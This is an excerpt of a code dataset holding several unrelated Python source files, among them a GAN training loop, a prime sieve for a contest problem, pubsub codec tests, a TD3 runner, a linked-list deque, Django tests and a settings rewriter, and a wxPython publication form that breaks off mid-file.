kwargs.get(\"mu_l1\")\n\n if mu_l1:\n supervision_loss = mu_l1 * torch.abs(generation - data).mean()\n gan_loss += supervision_loss\n supervision_loss = supervision_loss.item()\n\n else:\n supervision_loss = 0.\n\n gan_loss.backward()\n optimizer.step()\n\n return supervision_loss, fake_decision.mean()\n\n\ndef mask_concrete(mask, revelator):\n \"\"\"\n retrieve a mask 'like' for concrete autoencoder\n\n :param data_loader:\n :param revelator:\n :return:\n\n \"\"\"\n im_size = int(np.sqrt(revelator.in_features))\n mask = mask.sum(dim=1)[0].view(1, 1, im_size, im_size)\n return mask\n\n\ngan_loss = nn.BCELoss(reduction=\"mean\")\n\n\ndef train_gan(gen, disc, revelator, epochs, train_loader, test_sample, device,\n g_step=1, d_step=2, rev_step=1, mu_sparse=1e-4,\n mu_reconstruction=100, threshold=0.1, save_path=None, inc_rate=1e-5,\n lr_g=1e-4, lr_d=1e-5,\n base_epochs=0, t_min=0.05, t_init=10.,\n max_regul=1e-2):\n\n disc_losses = []\n gen_losses = []\n reveal_losses = []\n true_zeros = []\n true_ones = []\n training_over = 0\n\n G_optimizer = optim.Adam(gen.parameters(), lr=lr_g, betas=(0.8, 0.9))\n D_optimizer = optim.Adam(disc.parameters(), lr=lr_d, betas=(0.8, 0.9))\n O_optimizer = optim.Adam(revelator.parameters(), lr=4e-4, betas=(0.7, 0.9))\n\n try:\n for epoch in range(epochs):\n\n revelator.temp = t_init * (t_min / t_init) ** (epoch / epochs)\n print(\"new temperature for revelator: {}\".format(revelator.temp))\n\n if (epoch + 1) % 30 == 0:\n lr_g = lr_g / 1.1\n lr_d = lr_d / 1.1\n G_optimizer = optim.Adam(\n gen.parameters(), lr=lr_g, betas=(0.9, 0.9))\n D_optimizer = optim.Adam(\n disc.parameters(), lr=lr_d, betas=(0.9, 0.9))\n O_optimizer = optim.Adam(\n revelator.parameters(), lr=lr_d, betas=(0.8, 0.9))\n\n if (epoch + 1) % 2 == 0 and not training_over:\n mu_sparse = min(mu_sparse + inc_rate, max_regul)\n\n for bt, (data) in enumerate(tqdm(train_loader)):\n data = data.to(device)\n ##############################\n # DISCRIMINATOR TRAINING\n\n if bt % d_step == 0:\n # get fake data\n with torch.no_grad():\n if revelator.name == \"concrete_ae\" and data.shape[1] == 3:\n\n random_channel = np.random.randint(0, 3)\n corrupted_data, reveal_mask = revelator.get_mask(\n data[:, random_channel, :, :].unsqueeze(1),\n grad=False)\n\n else:\n corrupted_data, reveal_mask = revelator.get_mask(\n data, grad=False)\n\n fake_data = gen.forward(corrupted_data)\n\n # add conditionnal information\n if revelator.name == \"concrete_ae\":\n # need to get only one channel for concrete ae\n with torch.no_grad():\n labels = mask_concrete(reveal_mask, revelator)\n labels = labels * data\n labels = labels.detach()\n else:\n labels = corrupted_data.detach()\n\n des_fake, des_true = train_disc(disc, true=data, fake=fake_data,\n optimizer=D_optimizer, threshold=threshold,\n device=device, gan_loss=gan_loss,\n labels=labels)\n disc_losses.append(des_fake)\n\n ##########################\n # GENERATOR TRAINING\n if bt % g_step == 0:\n\n if revelator.name == \"concrete_ae\" and data.shape[1] == 3:\n random_channel = np.random.randint(0, 3)\n corrupted_data, reveal_mask = revelator.get_mask(\n data[:, random_channel, :, :].unsqueeze(1), grad=True)\n\n else:\n corrupted_data, reveal_mask = revelator.get_mask(\n data, grad=True)\n\n kwargs = {\"mu_l1\": mu_reconstruction}\n if revelator.name == \"concrete_ae\":\n labels = mask_concrete(reveal_mask, revelator)\n labels = labels * data\n kwargs[\"channelwise_input\"] = labels\n\n reconstruction_loss, _ = train_gen(gen=gen, disc=disc, input=corrupted_data,\n optimizer=G_optimizer, disc_conditional=True,\n gan_loss=gan_loss, device=device,\n data=data, **kwargs)\n G_optimizer.step()\n G_optimizer.zero_grad()\n\n O_optimizer.step()\n O_optimizer.zero_grad()\n gen_losses.append(reconstruction_loss)\n\n ##########################\n # Sampling TRAINING\n\n if bt % rev_step == 0 and revelator.name != \"param_optim\":\n sparse_loss = mu_sparse * revelator.l_0_cost()\n sparse_loss.backward()\n reveal_losses.append(sparse_loss.item())\n O_optimizer.step()\n O_optimizer.zero_grad()\n\n # RECORD THE FORM OF THE MASK\n true_zeros.append((reveal_mask == 0).float().mean().item())\n true_ones.append((reveal_mask == 1).float().mean().item())\n\n else:\n true_zeros.append(1)\n true_zeros.append(0)\n\n print(\"epoch {}, \\n disc_loss: {}, gen_reconstruction_loss: {} \\n\"\n \"number of true zeros: {} number of true ones: {}, mu_sparse: {} \"\n \"reveal_loss\".format(epoch, np.mean(disc_losses[-10:]), np.mean(gen_losses[:-10]),\n np.mean(true_zeros[-5:]), np.mean(true_ones[-5:]), mu_sparse,\n np.mean(reveal_losses[-5:])))\n\n # SAVE MASK UNDER CONSTANT z\n _, mask_cst = revelator.get_mask(data, grad=False, fixed=True)\n fig = plt.figure(figsize=(6, 6))\n ax = plt.subplot(111)\n ax.imshow(mask_cst[0, 0].detach().cpu(), cmap=plt.cm.gray)\n ax.axis(\"off\")\n try:\n fig.savefig(save_path + \"mask_{}.pdf\".format(epoch))\n plt.close(fig)\n except:\n print(\"unable to save mask\")\n\n if (epoch + 1) % 3 == 0 and save_path is not None:\n testing(gen=gen, revelator=revelator,\n test_sample=test_sample,\n device=device, save_path=save_path + \"epoch_{}.png\".format(epoch + base_epochs))\n\n except KeyboardInterrupt:\n return gen_losses\n\n return gen_losses\n","sub_path":"feature_selection/train_tools_gan.py","file_name":"train_tools_gan.py","file_ext":"py","file_size_in_byte":9092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212478197","text":"def ii():return int(input())\ndef iim():return map(int,input().split())\ndef iil():return list(map(int,input().split()))\nimport numba\nimport time\n\nstart_time = time.perf_counter()\n\n\n@numba.njit\ndef sieve_of_erastosthenes(num):\n input_list = [False if i % 2 == 0 or i % 3 == 0 or i % 5 == 0 else True for i in range(num)]\n input_list[0] = input_list[1] = False\n input_list[2] = input_list[3] = input_list[5] = True\n sqrt = num**0.5\n\n for serial in range(3, num, 2):\n if serial >= sqrt:\n prime_list = [i for i, b in enumerate(input_list) if b == True]\n return prime_list\n\n for s in range(serial ** 2, num, serial):\n input_list[s] = False\n\n@numba.njit\ndef solve(n):\n ans = 1\n l = sieve_of_erastosthenes(n+1)\n for i in range(2,n+1):\n num = i\n fac = 1\n for j in l:\n cnt = 1\n while num%j==0:\n num //= j\n cnt +=1\n fac *= cnt\n if num == 1:\n break\n ans += i*fac\n return ans\n\nn = ii()\nprint(solve(n))\nprint(\"perf_counter = {:.7f}\".format(time.perf_counter() - start_time))\n","sub_path":"ABC/ABC172/d_rev.py","file_name":"d_rev.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"25359973","text":"\"\"\"\nCodec tests.\n\n\"\"\"\nfrom json import dumps, loads\nfrom operator import itemgetter\n\nfrom hamcrest import (\n assert_that,\n calling,\n equal_to,\n instance_of,\n is_,\n raises,\n)\nfrom marshmallow import ValidationError\nfrom microcosm.api import create_object_graph\n\nfrom microcosm_pubsub.tests.fixtures import FooSchema\n\n\ndef test_no_default_schema():\n \"\"\"\n An unknown message type will fail.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n assert_that(\n calling(itemgetter(\"bar\")).with_args(graph.pubsub_message_schema_registry),\n raises(KeyError),\n )\n\n\ndef test_custom_schema():\n \"\"\"\n A configured message type will use its schema.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n assert_that(codec.schema, is_(instance_of(FooSchema)))\n\n\ndef test_encode():\n \"\"\"\n A message will be encoded according to its schema.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n assert_that(loads(codec.encode(bar=\"baz\")), is_(equal_to({\n \"bar\": \"baz\",\n \"mediaType\": \"application/vnd.globality.pubsub.foo\",\n })))\n\n\ndef test_encode_missing_field():\n \"\"\"\n An invalid message will raise errors.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n assert_that(calling(codec.encode).with_args(baz=\"bar\"), raises(ValidationError))\n\n\ndef test_decode():\n \"\"\"\n A message will be decoded according to its schema.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n message = dumps({\n \"bar\": \"baz\",\n \"mediaType\": \"application/vnd.globality.pubsub.foo\",\n })\n assert_that(codec.decode(message), is_(equal_to({\n \"bar\": \"baz\",\n \"media_type\": \"application/vnd.globality.pubsub.foo\",\n })))\n\n\ndef test_decode_missing_media_type():\n \"\"\"\n An invalid message will raise errors.\n\n \"\"\"\n def loader(metadata):\n return dict(\n pubsub_message_codecs=dict(\n default=FooSchema,\n ),\n )\n\n graph = create_object_graph(\"example\", testing=True, loader=loader)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n message = dumps({\n \"bar\": \"baz\",\n })\n assert_that(calling(codec.decode).with_args(message), raises(ValidationError))\n\n\ndef test_decode_missing_field():\n \"\"\"\n An invalid message will raise errors.\n\n \"\"\"\n graph = create_object_graph(\"example\", testing=True)\n codec = graph.pubsub_message_schema_registry[FooSchema.MEDIA_TYPE]\n message = dumps({\n \"mediaType\": \"application/vnd.globality.pubsub.foo\",\n })\n assert_that(calling(codec.decode).with_args(message), raises(ValidationError))\n","sub_path":"microcosm_pubsub/tests/test_codecs.py","file_name":"test_codecs.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"631251224","text":"# -*- coding: utf-8 -*-\n\"\"\"Run module for TD3 on LunarLanderContinuous-v2.\n\n- Author: Curt Park\n- Contact: curt.park@medipixel.io\n\"\"\"\n\nimport argparse\n\nimport gym\nimport torch\nimport torch.optim as optim\n\nfrom algorithms.common.networks.mlp import MLP\nfrom algorithms.common.noise import GaussianNoise\nfrom algorithms.td3.agent import Agent\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# hyper parameters\nhyper_params = {\n \"GAMMA\": 0.99,\n \"TAU\": 5e-3,\n \"TARGET_SMOOTHING_NOISE_STD\": 0.2,\n \"TARGET_SMOOTHING_NOISE_CLIP\": 0.5,\n \"DELAYED_UPDATE\": 2,\n \"BUFFER_SIZE\": int(1e6),\n \"BATCH_SIZE\": 100,\n \"LR_ACTOR\": 1e-3,\n \"LR_CRITIC_1\": 1e-3,\n \"LR_CRITIC_2\": 1e-3,\n \"GAUSSIAN_NOISE_MIN_SIGMA\": 0.1,\n \"GAUSSIAN_NOISE_MAX_SIGMA\": 0.1,\n \"GAUSSIAN_NOISE_DECAY_PERIOD\": 1000000,\n \"WEIGHT_DECAY\": 1e-6,\n \"EPOCH\": 50,\n \"INITIAL_RANDOM_ACTION\": int(1e4),\n}\n\n\ndef run(env: gym.Env, args: argparse.Namespace, state_dim: int, action_dim: int):\n \"\"\"Run training or test.\n\n Args:\n env (gym.Env): openAI Gym environment with continuous action space\n args (argparse.Namespace): arguments including training settings\n state_dim (int): dimension of states\n action_dim (int): dimension of actions\n\n \"\"\"\n hidden_sizes_actor = [400, 300]\n hidden_sizes_critic = [400, 300]\n\n # create actor\n actor = MLP(\n input_size=state_dim,\n output_size=action_dim,\n hidden_sizes=hidden_sizes_actor,\n output_activation=torch.tanh,\n ).to(device)\n actor_target = MLP(\n input_size=state_dim,\n output_size=action_dim,\n hidden_sizes=hidden_sizes_actor,\n output_activation=torch.tanh,\n ).to(device)\n actor_target.load_state_dict(actor.state_dict())\n\n # create critic\n critic_1 = MLP(\n input_size=state_dim + action_dim,\n output_size=1,\n hidden_sizes=hidden_sizes_critic,\n ).to(device)\n critic_2 = MLP(\n input_size=state_dim + action_dim,\n output_size=1,\n hidden_sizes=hidden_sizes_critic,\n ).to(device)\n critic_target1 = MLP(\n input_size=state_dim + action_dim,\n output_size=1,\n hidden_sizes=hidden_sizes_critic,\n ).to(device)\n critic_target2 = MLP(\n input_size=state_dim + action_dim,\n output_size=1,\n hidden_sizes=hidden_sizes_critic,\n ).to(device)\n critic_target1.load_state_dict(critic_1.state_dict())\n critic_target2.load_state_dict(critic_2.state_dict())\n\n # create optimizers\n actor_optim = optim.Adam(\n actor.parameters(),\n lr=hyper_params[\"LR_ACTOR\"],\n weight_decay=hyper_params[\"WEIGHT_DECAY\"],\n )\n critic_parameter = list(critic_1.parameters()) + list(critic_2.parameters())\n critic_optim = optim.Adam(\n critic_parameter,\n lr=hyper_params[\"LR_CRITIC_1\"],\n weight_decay=hyper_params[\"WEIGHT_DECAY\"],\n )\n\n # noise instance to make randomness of action\n noise = GaussianNoise(\n hyper_params[\"GAUSSIAN_NOISE_MIN_SIGMA\"],\n hyper_params[\"GAUSSIAN_NOISE_MAX_SIGMA\"],\n hyper_params[\"GAUSSIAN_NOISE_DECAY_PERIOD\"],\n )\n\n # make tuples to create an agent\n models = (actor, actor_target, critic_1, critic_2, critic_target1, critic_target2)\n optims = (actor_optim, critic_optim)\n\n # create an agent\n agent = Agent(env, args, hyper_params, models, optims, noise)\n\n # run\n if args.test:\n agent.test()\n else:\n agent.train()\n","sub_path":"examples/reacher-v2/td3.py","file_name":"td3.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49829106","text":"import sys\r\nsys.path.append(r'../..')\r\n\r\nfrom marketsim._pub import strategy, order, constant\r\n\r\nfrom common import expose\r\n\r\n@expose(\"Noise\", __name__)\r\ndef Noise(ctx):\r\n \r\n ctx.volumeStep = 10\r\n\r\n return [\r\n ctx.makeTrader_A(\r\n strategy.LiquidityProvider(\r\n orderFactory = order.side_price.WithExpiry(\r\n constant(10),\r\n order.side_price.Limit(\r\n volume=constant(2)))),\r\n \"liquidity\"),\r\n \r\n ctx.makeTrader_A(strategy.Noise(), \"noise_ex\"),\r\n ]\r\n","sub_path":"marketsim/samples/try_noise.py","file_name":"try_noise.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"222220709","text":"from django.test import TestCase\nfrom datetime import datetime, date\nfrom models import Trip\n\n# Create your tests here.\nclass TripTestCase(TestCase):\n def setUp(self):\n Trip.objects.create(name=\"London\", \n start_date=date(2017, 5, 24), \n finish_date=date(2017, 9, 24))\n Trip.objects.create(name=\"Moscow\", \n start_date=date(2017, 5, 24), \n finish_date=date(2017, 6, 24))\n \n def test_getTripName(self):\n trip = Trip.objects.get(name=\"London\")\n self.assertEqual(trip.getTripName(), \"London\")\n \n def test_getTriStartDate(self):\n trip = Trip.objects.get(name=\"London\")\n self.assertEqual(trip.getTripStartDate(), date(2017, 5, 24))\n \n def test_getTripFinishDate(self):\n trip = Trip.objects.get(name=\"London\")\n self.assertEqual(trip.getTripFinishDate(), date(2017, 9, 24))","sub_path":"trips/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"557487898","text":"#! python3\n\nimport sys\nfrom pathlib import Path\nimport re\n\ndefault_db_block = '''DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}'''\n\nreplacement_db_block = '''DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': os.environ.get('POSTGRES_DATABASE'),\n 'USER': os.environ.get('POSTGRES_USER'),\n 'PASSWORD': os.environ.get('POSTGRES_PASSWORD'),\n 'HOST': os.environ.get('POSTGRES_DOCKER_HOST'),\n 'PORT': os.environ.get('POSTGRES_PORT'),\n }\n}'''\n\nsubst_starts_with = [\n 'SECRET_KEY',\n 'DEBUG',\n 'ALLOWED_HOSTS'\n]\n\n\ndef substitute_text(text):\n text = text.replace(default_db_block, replacement_db_block)\n for key in subst_starts_with:\n temp = re.subn(r'{}.*\\n'.format(key),\n f\"{key} = os.environ['{key}']\", text)[0]\n if key == 'ALLOWED_HOSTS':\n temp = re.subn(\n r'{}.*\\n'.format(key),\n f\"{key} = os.environ['{key}'].split(',')\", text)[0]\n text = temp\n text += \"MEDIA_ROOT = os.path.join(BASE_DIR, 'media')\\n\"\n text += \"MEDIA_URL = '/media/'\\n\"\n text += \"STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\\n\"\n return text\n\n\nif __name__ == '__main__':\n path = Path(sys.argv[1])\n in_text = path.read_text()\n rep_text = substitute_text(in_text)\n path.write_text(rep_text)\n print(f'replacements saved in file {path}')\n","sub_path":"replace/replace.py","file_name":"replace.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"12493182","text":"from DoublyLinkedBase import _DoublyLinkedBase\n\n\nclass Empty(Exception):\n pass\n\nclass LinkedDeque(_DoublyLinkedBase):\n \"\"\"Double-ended queue implementation based on a doubly linked list.\n \"\"\"\n def first(self):\n if self.is_empty():\n raise Empty(\"Deque is empty\")\n return self._header._next._element\n \n def last(self):\n if self.is_empty():\n raise Empty(\"Deque is empty\")\n return self._tailer._prev._element\n\n def insert_first(self, e):\n return self._insert_between(e, self._header, self._header._next)\n\n def insert_last(self, e):\n return self._insert_between(e, self._tailer._prev, self._tailer)\n \n def delete_first(self):\n if self.is_empty():\n raise Empty(\"Deque is empty\")\n return self._delete_node(self._header._next)\n\n def delete_last(self):\n if self.is_empty():\n raise Empty(\"Deque is empty\")\n return self._delete_node(self._tailer._prev)\n\n\nif __name__ == '__main__':\n ld = LinkedDeque()\n ld.insert_first(1)\n ld.insert_last(2)\n ld.insert_last(3)\n print(ld)\n print(ld.first())\n print(ld.last())\n ld.delete_first()\n print(ld)\n","sub_path":"src/data-structures/doubly-linked-list/LinkedDeque.py","file_name":"LinkedDeque.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"472012800","text":"import cv2\nfrom DSBoard import Board\n\n\ndef display_moves():\n moves = board.get_possible_moves()\n\n for p in moves:\n print(\"----------------\")\n for m in p:\n print(m)\n\n\nboard = Board()\n\n\ncount = 0\nfor i in range(15):\n moves = board.get_possible_moves(randomize=True)\n print(\"**\")\n for p in moves:\n print(p)\n print(\"*\")\n m = moves[i%2][0]\n board.make_move_for_player(m, i%2)\n board.show_board()\n print(board)\n print(\"--------------\")\n cv2.waitKey(0)\n\n# print(board)\n# board.show_board()\n# display_moves()\n#\n# board.make_move_for_player([[4,3],2],0)\n# print(board)\n# board.show_board()\n# display_moves()\n#\n# board.make_move_for_player([[3,6],7],1)\n# print(board)\n# board.show_board()\n# display_moves()\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"DoubleSnake/BoardTest.py","file_name":"BoardTest.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"92936623","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@File : main.py\n@Author : Brandon Han\n@Contact : hxiao@zju.edu.cn\n@Time : 2019/11/25 20:03 \n\"\"\"\n\nimport argparse\nfrom utils.model_related import Params, make_figure_dir\nfrom train_and_test import *\n\nparser = argparse.ArgumentParser(description='U-RISC training routine')\nparser.add_argument('--train_data_path', type=str, default='data_input/simple/train/',\n help='path to train data')\nparser.add_argument('--train_label_path', type=str, default='data_input/simple/labels/train/',\n help='path to train ground truth label')\nparser.add_argument('--val_data_path', type=str, default='data_input/simple/val/',\n help='path to val data')\nparser.add_argument('--val_label_path', type=str, default='data_input/simple/val/',\n help='path to val ground truth label')\nparser.add_argument('--save_folder', type=str, default=\"models/\", help='path to save models')\nparser.add_argument('--restore_from', default=None, type=str,\n help='path to load fully-trained models, like checkpoint/pre-trained model')\nparser.add_argument('--json_path', default='params.json', type=str, help='path to configuration json')\nparser.add_argument('--test', action='store_true', default=False, help='type it for test process')\nargs = parser.parse_args()\n\n# Load parameters from json file\nassert os.path.exists(args.json_path), \"No json file found!\"\nparams = Params(args.json_path)\nparams.restore_from = args.restore_from\nparams.save_folder = args.save_folder\nparams.train_data_path = args.train_data_path\nparams.train_label_path = args.train_label_path\nparams.val_data_path = args.val_data_path\nparams.val_label_path = args.val_label_path\nparams.cuda = torch.cuda.is_available()\n\n# make_figure_dir()\n\nif __name__ == '__main__':\n if args.test:\n test_model(params)\n else:\n train_model(params)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"273075542","text":"# -*- coding: utf-8 -*-\n\nimport wx\nfrom wx.lib import masked\nimport datetime\nfrom models import *\nimport sys\nimport os\nimport codecs\nfrom sqlalchemy import func\n\nsetup_all()\n\nID_TOOLBAR_PUBLICACAO_NOVO = 5001\nID_TOOLBAR_PUBLICACAO_EDITAR = 5002\nID_TOOLBAR_PUBLICACAO_EXCLUIR = 5003\nID_TOOLBAR_PUBLICACAO_CRIAR_ARQUIVO = 5004\n\n\nclass WindowPublicacao(wx.MiniFrame):\n\n def __init__(self, parent):\n\n wx.MiniFrame.__init__(self, parent, id=wx.ID_ANY, size=(530, 300), pos=(300, 170), title=u\"Publicação\", style= wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN)\n self.panelPublicacao = wx.Panel(self, wx.ID_ANY)\n\n self.vbox1 = wx.BoxSizer(wx.VERTICAL)\n\n self.toolBar = wx.ToolBar(self, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize, style=wx.TB_TEXT)\n\n self.toolBar.AddLabelTool(ID_TOOLBAR_PUBLICACAO_NOVO, \"Novo\", wx.Bitmap(\"./imagens/add.png\"), shortHelp=u'Adiciona nova publicação')\n self.toolBar.AddSeparator()\n self.toolBar.AddLabelTool(ID_TOOLBAR_PUBLICACAO_EDITAR, \"Editar\", wx.Bitmap(\"./imagens/edit.png\"), shortHelp=u'Edita publicação selecionada')\n self.toolBar.AddSeparator()\n self.toolBar.AddLabelTool(ID_TOOLBAR_PUBLICACAO_EXCLUIR, \"Remover\", wx.Bitmap(\"./imagens/remove.png\"), shortHelp=u'Exclui publicação selecionada')\n self.toolBar.AddSeparator()\n self.toolBar.AddLabelTool(ID_TOOLBAR_PUBLICACAO_CRIAR_ARQUIVO, \"Gerar Arquivo\", wx.Bitmap(\"./imagens/file.png\"), shortHelp=u'Gera arquivo de publicação')\n self.toolBar.AddSeparator()\n self.toolBar.AddSeparator()\n self.toolBar.Realize()\n self.SetToolBar(self.toolBar)\n\n self.choicesCompetencias = [u'Orçamento', u'Janeiro', u'Fevereiro', u'Março', u'Abril', u'Maio', u'Junho', u'Julho', u'Agosto', u'Setembro',\n u'Outubro', u'Novembro', u'Dezembro'\n ]\n\n self.cbCompetenciaForView = wx.ComboBox(self.panelPublicacao, -1, pos=(1, 5), size=(200, -1), choices=self.choicesCompetencias, style=wx.CB_READONLY)\n self.cbCompetenciaForView.Bind(wx.EVT_COMBOBOX, self.insereInCtrList)\n\n #ListCtrl\n self.hbox1 = wx.BoxSizer(wx.HORIZONTAL)\n self.publicacaoListCtrl = wx.ListCtrl(self.panelPublicacao, wx.ID_ANY, pos=(0, 30), size=(525, 200), style=wx.LC_REPORT)\n self.publicacaoListCtrl.InsertColumn(0, u'Licitação', width=150)\n self.publicacaoListCtrl.InsertColumn(1, u'Data Publicação', width=200)\n self.publicacaoListCtrl.InsertColumn(2, u'Veículo', width=170)\n self.publicacaoListCtrl.InsertColumn(3, u'', width=0)\n self.publicacaoListCtrl.Bind(wx.EVT_LIST_ITEM_SELECTED, self.capturaIdItemSelecionado)\n self.publicacaoListCtrl.Bind(wx.EVT_LIST_ITEM_DESELECTED, self.anulaIdItemSelecionado)\n self.idSelecionado = None\n\n self.hbox1.Add(self.publicacaoListCtrl, 1, wx.EXPAND)\n #Fim ListCtrl\n\n #Binds\n self.Bind(wx.EVT_MENU, self.novoPublicacao, id=ID_TOOLBAR_PUBLICACAO_NOVO)\n self.Bind(wx.EVT_MENU, lambda event: self.vizualizaPublicacao(event, self.idSelecionado), id=ID_TOOLBAR_PUBLICACAO_EDITAR)\n self.Bind(wx.EVT_MENU, lambda event: self.excluiPublicacao(event, self.idSelecionado), id=ID_TOOLBAR_PUBLICACAO_EXCLUIR)\n self.Bind(wx.EVT_MENU, self.geraArquivoWindow, id=ID_TOOLBAR_PUBLICACAO_CRIAR_ARQUIVO)\n self.Bind(wx.EVT_CLOSE, self.quit)\n #Fim Binds\n\n self.Centre()\n self.MakeModal(True)\n self.Show()\n\n def quit(self, event):\n\n self.MakeModal(False)\n self.Destroy()\n\n def anulaIdItemSelecionado(self, event):\n\n self.idSelecionado = None\n\n def capturaIdItemSelecionado(self, event):\n\n self.idSelecionado = self.publicacaoListCtrl.GetItem(event.GetIndex(), 3).GetText()\n\n def toolBarControler(self, novo=True, editar=True, remover=True, gerar=True):\n\n self.toolBar.EnableTool(ID_TOOLBAR_PUBLICACAO_NOVO, novo)\n self.toolBar.EnableTool(ID_TOOLBAR_PUBLICACAO_EDITAR, editar)\n self.toolBar.EnableTool(ID_TOOLBAR_PUBLICACAO_EXCLUIR, remover)\n self.toolBar.EnableTool(ID_TOOLBAR_PUBLICACAO_CRIAR_ARQUIVO, gerar)\n\n def insereInCtrList(self, event):\n\n self.publicacaoListCtrl.DeleteAllItems()\n\n if self.cbCompetenciaForView.GetSelection() != -1:\n publicacoes = Publicacao.query.filter_by(competencia=self.cbCompetenciaForView.GetValue()).all()\n\n for publicacao in publicacoes:\n\n index = self.publicacaoListCtrl.InsertStringItem(sys.maxint, unicode(publicacao.numeroProcesso))\n self.publicacaoListCtrl.SetStringItem(index, 1, publicacao.dataPublicacao)\n self.publicacaoListCtrl.SetStringItem(index, 2, publicacao.veiculoComunicacao)\n self.publicacaoListCtrl.SetStringItem(index, 3, unicode(publicacao.id))\n\n def novoPublicacao(self, event):\n\n self.toolBarControler(False, False, False, False)\n\n self.windowNovopublicacao = wx.MiniFrame(parent=self, id=wx.ID_ANY, size=(500, 270), pos=(300, 170), title=u'Novo - Publicação', style= wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN)\n self.panelNovoPublicacao = wx.Panel(self.windowNovopublicacao, wx.ID_ANY)\n\n self.tcId = wx.TextCtrl(self.panelNovoPublicacao, -1, pos=(0, 0), size=(0, 0))\n self.tcId.SetValue('0')\n\n self.stCompetencia = wx.StaticText(self.panelNovoPublicacao, -1, u'Competência', pos=(10, 5))\n self.cbCompetencia = wx.ComboBox(self.panelNovoPublicacao, -1, pos=(10, 25), size=(200, -1), choices=self.choicesCompetencias, style=wx.CB_READONLY)\n self.cbCompetencia.Bind(wx.EVT_COMBOBOX, self.insereNumeroProcesso)\n\n wx.StaticBox(self.panelNovoPublicacao, -1, pos=(5, 50), size=(480, 140))\n\n self.stNumeroProcesso = wx.StaticText(self.panelNovoPublicacao, -1, u'Número Proc. Licitatório', pos=(10, 70))\n self.cbNumeroProcesso = wx.ComboBox(self.panelNovoPublicacao, -1, pos=(10, 90), size=(100, -1), style=wx.CB_READONLY)\n\n self.stDataPublicacao = wx.StaticText(self.panelNovoPublicacao, -1, u'Data Publicação', pos=(160, 70))\n self.tcDataPublicacao = masked.TextCtrl(self.panelNovoPublicacao, -1, mask=\"##/##/####\")\n self.tcDataPublicacao.SetSize((80, -1))\n self.tcDataPublicacao.SetPosition((160, 90))\n \n self.stVeiculoComunicacao = wx.StaticText(self.panelNovoPublicacao, -1, u'Veículo de Comunicação', pos=(10, 130))\n self.tcVeiculoComunicacao = wx.TextCtrl(self.panelNovoPublicacao, -1, pos=(10, 150), size=(320, -1), style=wx.ALIGN_LEFT)\n self.tcVeiculoComunicacao.SetMaxLength(50)\n\n self.btnSalvar = wx.Button(self.panelNovoPublicacao, -1, u\"Salvar\", pos=(150, 210))\n self.btnSalvar.Bind(wx.EVT_BUTTON, self.salvarPublicacao)\n self.btnCancelar = wx.Button(self.panelNovoPublicacao, -1, u\"Cancelar\", pos=(250, 210))\n self.btnCancelar.Bind(wx.EVT_BUTTON, self.quitNovoPublicacao)\n\n #Bind\n self.windowNovopublicacao.Bind(wx.EVT_CLOSE, self.quitNovoPublicacao)\n\n self.windowNovopublicacao.Centre()\n self.windowNovopublicacao.Show()\n\n def quitNovoPublicacao(self, event):\n\n self.toolBarControler(True, True, True, True)\n self.windowNovopublicacao.Destroy()\n\n def insereNumeroProcesso(self, event):\n\n self.cbNumeroProcesso.Clear()\n\n licitacoes = Licitacao.query.filter_by(competencia=self.cbCompetencia.GetValue()).all()\n\n if not licitacoes:\n self.message = wx.MessageDialog(None, u'Não existe Licitações para a competência selecionada!', 'Info', wx.OK)\n self.message.ShowModal()\n self.cnNumeroProcesso.Disable()\n\n else:\n for licitacao in licitacoes:\n\n self.cbNumeroProcesso.Append(unicode(licitacao.numeroProcessoLicitatorio))\n\n self.cbNumeroProcesso.Enable()\n\n def validateDate(self, date, field):\n\n if date == \" / / \":\n self.message = wx.MessageDialog(None, u'O campo '+field+' deve ser preenchido!', 'Info', wx.OK)\n self.message.ShowModal()\n return 0\n\n if date[0:2] == ' 